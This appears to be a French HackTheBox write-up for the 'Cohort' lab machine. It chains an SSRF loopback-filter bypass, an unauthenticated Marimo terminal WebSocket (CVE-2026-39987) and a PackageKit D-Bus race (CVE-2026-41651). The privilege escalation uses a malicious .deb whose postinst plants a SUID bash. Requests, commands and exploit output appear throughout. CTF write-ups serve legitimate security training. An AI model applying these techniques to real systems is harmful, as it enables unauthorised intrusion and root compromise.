
HTB Cohort - SSRF, RCE pre-auth Marimo (CVE-2026-39987) et élévation de privilèges PackageKit (CVE-2026-41651)
Machine Cohort (HackTheBox). Chaîne d'attaque complète :
/api/validate) → découverte de vhost internemarimoLes flags ne sont volontairement pas inclus (règles HTB).
10.129.93.8 cohort.htb
/api/...)nb-1be3782a8afd3ad5.cohort.htb), non exposé à l'extérieurL'application exposait un endpoint de validation d'URL qui récupérait le contenu distant et le renvoyait. Le filtre d'URL pouvait être contourné en encodant l'adresse de loopback :
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
Cela atteignait le nginx interne et révélait les upstreams configurés, notamment le
vhost Marimo interne nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
Le gestionnaire du terminal WebSocket des notebooks Marimo ne validait pas l'authentification.
Se connecter à /terminal/ws lance un shell bash via pty.fork().
Le vhost interne était accessible à travers le nginx externe en envoyant l'en-tête
Host interne :
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
Résultat : shell en tant que marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit correspondent au schéma TOCTOU vulnérableuser.txt dans /home/marimo/user.txtPackageKit 1.2.8 présente une faille de type time-of-check / time-of-use : le rôle et
les flags de transaction lus par le callback idle de GLib peuvent être exploités en course en émettant deux appels D-Bus asynchrones
sur la même transaction, de sorte que le backend privilégié exécute le second appel (rôle NONE,
sans vérification d'authentification) alors que le premier (SIMULATE) a déjà passé la vérification
d'autorisation.
Deux appels sont émis coup sur coup sur la même transaction :
InstallFiles(SIMULATE=4) — passe la vérification d'autorisation polkitInstallFiles(NONE=0) — transporte le .deb malveillant, lu dans le même
lot de messagesLe .deb malveillant exécute un script postinst en tant que root qui dépose un bash SUID :
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
Détail clé : les deux appels doivent être envoyés ensemble pour que le backend lise les deux
messages dans un seul lot. Utiliser call() async de GIO + flush_sync() :
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
L'exploit initial utilisait python-dbus :
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus sérialise les deux appels InstallFiles en écritures séparées, de sorte que le
callback idle du backend les traitait comme des événements distincts et la course n'aboutissait jamais.
Le flush_sync de GIO envoie les deux messages D-Bus dans un seul lot d'écriture → course gagnée.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt lisible.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)